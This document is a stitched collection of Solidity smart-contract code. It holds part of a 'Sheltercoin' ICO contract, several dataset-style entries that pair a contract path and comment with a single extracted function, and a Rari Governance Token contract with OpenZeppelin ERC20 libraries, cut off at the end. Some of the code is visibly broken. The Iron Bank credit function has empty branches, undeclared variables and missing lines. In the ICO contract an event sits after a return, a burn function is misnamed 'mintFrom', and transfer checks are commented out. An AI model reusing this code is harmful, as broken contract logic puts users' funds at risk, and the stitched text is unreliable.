007.10 - Accept Ethers from one account for tokens to be created for another | account. Can be used by Exchanges to purchase Tokens on behalf of | it's Customers | ----------------------------------------------------------------------*/ function ICOContribution(address participant) public payable { // No contributions after the crowdsale is finalised require(!finalised); // Not paused require(!paused); // No contributions before the start of the crowdsale require(now >= START_DATE); // No contributions after the end of the crowdsale require(now <= END_DATE); // No contributions below the minimum (can be 0 ETH) require(msg.value >= CONTRIBUTIONS_MIN); // No contributions above a maximum (if maximum is set to non-0) require(CONTRIBUTIONS_MAX == 0 || msg.value < CONTRIBUTIONS_MAX); // client verification required before participant can transfer the tokens require(Whitelisted[msg.sender]); require(!Blacklisted[msg.sender]); // Transfer the contributed ethers to the Crowdsale wallet require(wallet.send(msg.value)); // Calculate number of Tokens for contributed ETH // `18` is the ETH decimals // `- decimals` is the token decimals // `+ 3` for the tokens per 1,000 ETH factor tokens = msg.value * tokensPerKEther / 10**uint(18 - decimals + 3); /* create variable bonusTokens. This is the purchase amount adjusted by any bonus. The SetBonus function is onlyOwner Bonus is expressed in %, eg 50 = 50% */ bonusTokens = msg.value.safeMul(BONUS_VALUE + 100); bonusTokens = bonusTokens.safeDiv(100); tokens = bonusTokens; dspTokens = tokens * tokensPerKEther / 10**uint(18 - decimals + 6); dspEther = tokens / 10**uint(18); // Check if the Hard Cap will be exceeded require(totalSupply + tokens <= TOKENS_HARD_CAP); require(tokensSold + tokens <= TOKENS_HARD_CAP); // Crowdsale Address tokenContractAdr = this; // safeAdd tokens purchased to Account's balance and TokensSold balances[participant] = balances[participant].safeAdd(tokens); tokensSold = tokensSold.safeAdd(tokens); etherSold = etherSold.safeAdd(dspEther); weiSold = weiSold + tokenContractAdr.balance; //weiSold = weiSold + this.balance; // Event Display Totals dspTokensSold = dspTokensSold.safeAdd(dspTokens); dspEtherSold = dspEtherSold.safeAdd(dspEther); dspWeiSold = dspWeiSold + tokenContractAdr.balance; //dspWeiSold = dspWeiSold + this.balance; // Transfer Tokens & Log the tokens purchased emit Transfer(tokenContractAdr, participant, tokens); emit TokensBought(participant,bonusTokens, dspWeiSold, dspEther, dspEtherSold, dspTokens, dspTokensSold, tokensPerEther); } event TokensBought(address indexed buyer, uint newWei, uint newWeiBalance, uint newEther, uint EtherTotal, uint _toks, uint newTokenTotal, uint _toksPerEther); /* ------------------------------------------------------------------------ | 007.11 - SheltercoinOwner to finalise the Crowdsale | | ----------------------------------------------------------------------*/ function finalise() public onlyOwner { // Can only finalise if raised > soft cap or after the end date require(tokensSold >= TOKENS_SOFT_CAP || now > END_DATE); // Can only finalise once require(!finalised); // Crowdsale Address tokenContractAdr = this; // Write out the total emit TokensBought(tokenContractAdr, 0, dspWeiSold, dspEther, dspEtherSold, dspTokens, dspTokensSold, tokensPerEther); // Can only finalise once finalised = true; } /* ------------------------------------------------------------------------ | 007.12 - Sheltercoin Owner to safeAdd Pre-sales funding token balance before the Crowdsale | commences | ----------------------------------------------------------------------*/ function ICOAddPrecommitment(address participant, uint balance) public onlyOwner { // Not paused require(!paused); // No contributions after the start of the crowdsale // Allowing off chain contributions during the Crowdsale // Allowing contributions after the end of the crowdsale // Off Chain SHLT Balance to Transfer require(balance > 0); //Address field is completed require(address(participant) != 0x0); // safeAdd tokens purchased to Account's balance and TokensSold tokenContractAdr = this; balances[participant] = balances[participant].safeAdd(balance); tokensSold = tokensSold.safeAdd(balance); emit Transfer(tokenContractAdr, participant, balance); } event ICOcommitmentAdded(address indexed participant, uint balance, uint tokensSold ); /* ------------------------------------------------------------------------ | 007.12a - Sheltercoin Owner to Change ICO Start Date or ICO End Date | commences | ----------------------------------------------------------------------*/ function ICOdt(uint START_DATE_NEW, uint END_DATE_NEW ) public onlyOwner { // No contributions after the crowdsale is finalised require(!finalised); // Not paused require(!paused); // Allowed to change any time // No 0 require(START_DATE_NEW > 0); require(END_DATE_NEW > 0); tokenContractAdr = this; START_DATE = START_DATE_NEW; END_DATE = END_DATE_NEW; emit ICOdate(START_DATE, END_DATE); } event ICOdate(uint ST_DT, uint END_DT); /* ---------------------------------------------------------------------- | 007.13 - Transfer the Balance from Owner's account to another account, with client | verification check for the crowdsale participant's first transfer | ----------------------------------------------------------------------*/ function transfer(address _to, uint _amount) public returns (bool success) { // Cannot transfer before crowdsale ends // require(finalised); // require(flg002transfer); // Cannot transfer if Client verification is required //require(!clientRequired[msg.sender]); // Standard transfer return super.transfer(_to, _amount); } /* ------------------------------------------------------------------------ | 007.14 - Spender of tokens transfer an amount of tokens from the token Owner's | balance to another account, with Client verification check for the | Crowdsale participant's first transfer | ----------------------------------------------------------------------*/ function transferFrom(address _from, address _to, uint _amount) public returns (bool success) { // Cannot transfer before crowdsale ends // require(flg002transfer); // Cannot transfer if Client verification is required //require(!clientRequired[_from]); // Standard transferFrom return super.transferFrom(_from, _to, _amount); } /* ------------------------------------------------------------------------ | 007.16 - Any account can burn _from's tokens as long as the _from account has | approved the _amount to be burnt using | approve(0x0, _amount) | ----------------------------------------------------------------------*/ function mintFrom( address _from, uint _amount ) public returns (bool success) { if (balances[_from] >= _amount // From a/c has balance && allowed[_from][0x0] >= _amount // Transfer approved && _amount > 0 // Non-zero transfer && balances[0x0] + _amount > balances[0x0] // Overflow check ) { balances[_from] = balances[_from].safeSub(_amount); allowed[_from][0x0] = allowed[_from][0x0].safeSub(_amount); balances[0x0] = balances[0x0].safeAdd(_amount); tokensSold = tokensSold.safeSub(_amount); emit Transfer(_from, 0x0, _amount); return true; } else { return false; } } /* ------------------------------------------------------------------------ | 007.17 - Set bonus percentage multiplier. 50% = * 1.5 | ----------------------------------------------------------------------*/ function setBonus(uint _bonus) public onlyOwner returns (bool success) { require (!finalised); if (_bonus >= 0) // From a/c is owner { BONUS_VALUE = _bonus; return true; } else { return false; } emit BonusSet(_bonus); } event BonusSet(uint _bonus); /* ------------------------------------------------------------------------ | 007.15 - SheltercoinOwner to Client verify the participant's account | ----------------------------------------------------------------------*/ function AddToWhitelist(address participant) public onlyOwner { Whitelisted[participant] = true; emit AddedToWhitelist(participant); } event AddedToWhitelist(address indexed participant); function IsWhitelisted(address participant) public view returns (bool) { return bool(Whitelisted[participant]); } function RemoveFromWhitelist(address participant) public onlyOwner { Whitelisted[participant] = false; emit RemovedFromWhitelist(participant); } event RemovedFromWhitelist(address indexed participant); function AddToBlacklist(address participant) public onlyOwner { Blacklisted[participant] = true; emit AddedToBlacklist(participant); } event AddedToBlacklist(address indexed participant); function IsBlacklisted(address participant) public view returns (bool) { return bool(Blacklisted[participant]); } function RemoveFromBlackList(address participant) public onlyOwner { Blacklisted[participant] = false; emit RemovedFromBlacklist(participant); } event RemovedFromBlacklist(address indexed participant); function SCEmergency(string _Shelter_ID, string _Shelter_Description, string _Emergency_Type, string _UN_Programme_ID, string _Country, string _Region, uint START_DATE_SCE, uint END_DATE_SCE ) public onlyOwner { // Disaster Occur's finalised = true; require(finalised); // Not paused //require(!paused); // No 0 require(START_DATE_SCE > 0); // Write to the blockchain tokenContractAdr = this; SCE_Shelter_ID = _Shelter_ID; SCE_Shelter_Desc = _Shelter_Description; SCE_Emergency_Type = _Emergency_Type; SCE_UN_Programme_ID = _UN_Programme_ID; SCE_Country = _Country; SCE_Region = _Region; SCE_START_DATE = START_DATE_SCE; SCE_END_DATE = END_DATE_SCE; emit SC_Emergency(SCE_Shelter_ID, SCE_Shelter_Desc, SCE_Emergency_Type, SCE_UN_Programme_ID, SCE_Country, SCE_Region, SCE_START_DATE, SCE_END_DATE ); } event SC_Emergency(string _str_Shelter_ID, string _str_Shelter_Descrip, string _str_Emergency_Type, string _str_UN_Prog_ID, string _str_Country, string _str_Region, uint SC_ST_DT, uint SC_END_DT); }
------------------------------------------------------------------------ 005.02 - safeSubtract a number from another number, checking for underflows -----------------------------------------------------------------------/
function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; }
2,509,250
./partial_match/43114/0x663Ef4455A07243D9029bA0fC48297AE181aeb38/sources/contracts/BaseStrategy.sol
Swap some tokens in the contract for the underlying and deposits them to address(this) Construct a path array consisting of the input (reward token), underlying token and a potential bridge token
function swapExactTokensForUnderlying(uint256 amountOutMin, address inputToken) public onlyExecutor returns (uint256 amountOut) { require(factory != address(0), "BentoBox Strategy: cannot swap"); require(inputToken != strategyToken, "BentoBox Strategy: invalid swap"); bool useBridge = bridgeToken != address(0); address[] memory path = new address[](useBridge ? 3 : 2); path[0] = inputToken; if (useBridge) { path[1] = bridgeToken; } path[path.length - 1] = strategyToken; uint256 amountIn = IERC20(path[0]).balanceOf(address(this)); uint256[] memory amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path, pairCodeHash); amountOut = amounts[amounts.length - 1]; require(amountOut >= amountOutMin, "BentoBox Strategy: insufficient output"); IERC20(path[0]).safeTransfer(UniswapV2Library.pairFor(factory, path[0], path[1], pairCodeHash), amounts[0]); _swap(amounts, path, address(this)); emit LogConvert(msg.sender, inputToken, strategyToken, amountIn, amountOut); }
3,505,272
./full_match/1/0x6444cC208FB4f9059813Ad795faD0c07dB8793a2/sources/src/Libraries/LibAllowList.sol
Add a selector to the allow list _selector the selector to add
function addAllowedSelector(bytes4 _selector) internal { _getStorage().selectorAllowList[_selector] = true; }
3,845,438
./partial_match/3/0x8C8B5De03d4dAD48fe2bAD13DD304F1E6b63a744/sources/StratFlat.sol
simple logic. do we get more apr than iron bank charges?if so, is that still true with increased pos?if not, should be reduce?made harder because we can't assume iron bank debt curve. So need to incrementrepay debt if iron bank wants its money backnote we only borrow 1 asset so can assume all our shortfall is from itminIncrement must be > 0 if we have too much debt we returnovershoot incase of dustif sr is > iron bank we borrow more. else returnwe do increment before the if statement herespecial case to repay allwe dont play with dust:
function internalCreditOfficer() public view returns (bool borrowMore, uint256 amount) { if(emergencyExit){ return(false, ironBankOutstandingDebtStored()); } uint256 underlyingPrice = ironBank.oracle().getUnderlyingPrice(address(ironBankToken)); if(underlyingPrice == 0){ return (false, 0); } liquidity = liquidity.mul(1e18).div(underlyingPrice); shortfall = shortfall.mul(1e18).div(underlyingPrice); if(shortfall > 0){ } uint256 liquidityAvailable = want.balanceOf(address(ironBankToken)); uint256 remainingCredit = Math.min(liquidity, liquidityAvailable); uint256 outstandingDebt = ironBankOutstandingDebtStored(); if(maxCreditDesired <= step){ return (false, 0); } if(maxCreditDesired.mul(11).div(10) < outstandingDebt){ borrowMore = false; amount = outstandingDebt - maxCreditDesired; } else if(currentSR > ironBankBR){ remainingCredit = Math.min(maxCreditDesired - outstandingDebt, remainingCredit); while(minIncrement.mul(increment) <= remainingCredit){ ironBankBR = ironBankBorrowRate(minIncrement.mul(increment), false); if(currentSR <= ironBankBR){ break; } increment++; } borrowMore = true; amount = minIncrement.mul(increment-1); while(minIncrement.mul(increment) <= outstandingDebt){ ironBankBR = ironBankBorrowRate(minIncrement.mul(increment), true); increment++; if(currentSR > ironBankBR){ break; } } borrowMore = false; if(increment == 1){ amount = outstandingDebt; amount = minIncrement.mul(increment - 1); } } if (amount < debtThreshold) { amount = 0; } }
5,323,167
/** * COPYRIGHT © 2020 RARI CAPITAL, INC. ALL RIGHTS RESERVED. * Anyone is free to integrate the public (i.e., non-administrative) application programming interfaces (APIs) of the official Ethereum smart contract instances deployed by Rari Capital, Inc. in any application (commercial or noncommercial and under any license), provided that the application does not abuse the APIs or act against the interests of Rari Capital, Inc. * Anyone is free to study, review, and analyze the source code contained in this package. * Reuse (including deployment of smart contracts other than private testing on a private network), modification, redistribution, or sublicensing of any source code contained in this package is not permitted without the explicit permission of David Lucid of Rari Capital, Inc. * No one is permitted to use the software for any purpose other than those allowed by this license. * This license is liable to change at any time at the sole discretion of David Lucid of Rari Capital, Inc. */ pragma solidity 0.5.17; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Pausable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol"; /** * @title RariGovernanceToken * @author David Lucid <[email protected]> (https://github.com/davidlucid) * @notice RariGovernanceToken is the contract behind the Rari Governance Token (RGT), an ERC20 token accounting for the ownership of Rari Stable Pool, Yield Pool, and Ethereum Pool. */ contract RariGovernanceToken is Initializable, ERC20, ERC20Detailed, ERC20Burnable, ERC20Pausable { using SafeERC20 for IERC20; /** * @dev Initializer that reserves 8.75 million RGT for liquidity mining and 1.25 million RGT to the team/advisors/etc. */ function initialize(address distributor, address vesting) public initializer { ERC20Detailed.initialize("Rari Governance Token", "RGT", 18); ERC20Pausable.initialize(msg.sender); _mint(distributor, 8750000 * (10 ** uint256(decimals()))); _mint(vesting, 1250000 * (10 ** uint256(decimals()))); } /** * @dev Boolean indicating if this RariFundToken contract has been deployed at least `v1.4.0` or upgraded to at least `v1.4.0`. */ bool private upgraded1; /** * @dev Boolean indicating if this RariFundToken contract has been deployed at least `v1.4.0` or upgraded to at least `v1.4.0`. */ bool private upgraded2; /** * @dev Upgrades RariGovernanceToken from `v1.3.0` to `v1.4.0`. */ function upgrade1(address uniswapDistributor, address loopringDistributor) external onlyPauser { require(!upgraded1, "Already upgraded."); uint256 exchangeLiquidityRewards = 568717819057309757517546; uint256 uniswapRewards = exchangeLiquidityRewards.mul(80).div(100); _mint(uniswapDistributor, uniswapRewards); _mint(loopringDistributor, exchangeLiquidityRewards.sub(uniswapRewards)); upgraded1 = true; } /** * @dev Upgrades RariGovernanceToken from `v1.3.0` to `v1.4.0`. */ function upgrade2(address distributorV2, address vestingV2) external onlyPauser { require(!upgraded2, "Already upgraded."); _mint(distributorV2, 3000000 * (10 ** uint256(decimals()))); _mint(vestingV2, 7000000 * (10 ** uint256(decimals()))); upgraded2 = true; } /** * @dev Forwards tokens accidentally sent to this contract to the specified address. * At no point in time should this contract hold any tokens. * @param erc20Contract The ERC20 contract address of the token to forward. * @param to The destination address to which the funds will be forwarded. * @param amount Amount of tokens to forward. */ function sweepLostFunds(address erc20Contract, address to, uint256 amount) external onlyPauser { IERC20(erc20Contract).safeTransfer(to, amount); } } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../../GSN/Context.sol"; import "../Roles.sol"; contract PauserRole is Initializable, Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; function initialize(address sender) public initializer { if (!isPauser(sender)) { _addPauser(sender); } } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } uint256[50] private ______gap; } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../GSN/Context.sol"; import "../access/roles/PauserRole.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Initializable, Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ function initialize(address sender) public initializer { PauserRole.initialize(sender); _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[50] private ______gap; } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Initializable, Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } uint256[50] private ______gap; } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../../GSN/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Initializable, Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } uint256[50] private ______gap; } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is Initializable, IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ function initialize(string memory name, string memory symbol, uint8 decimals) public initializer { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } uint256[50] private ______gap; } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./ERC20.sol"; import "../../lifecycle/Pausable.sol"; /** * @title Pausable token * @dev ERC20 with pausable transfers and allowances. * * Useful if you want to stop trades until the end of a crowdsale, or have * an emergency switch for freezing all token transfers in the event of a large * bug. */ contract ERC20Pausable is Initializable, ERC20, Pausable { function initialize(address sender) public initializer { Pausable.initialize(sender); } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } uint256[50] private ______gap; } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address 